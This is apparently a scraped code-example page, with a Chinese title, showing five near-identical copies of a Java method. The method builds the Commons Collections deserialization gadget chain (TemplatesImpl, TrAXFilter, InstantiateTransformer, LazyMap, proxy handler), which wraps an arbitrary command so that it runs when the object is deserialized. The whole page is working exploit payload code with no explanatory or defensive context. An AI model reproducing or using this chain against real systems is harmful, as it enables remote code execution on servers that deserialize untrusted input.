Java 类org.apache.commons.collections.functors.InstantiateTransformer 实例源码

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {

    Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

public Object getObject(final String command) throws Exception {
    TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

public Object getObject(final String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}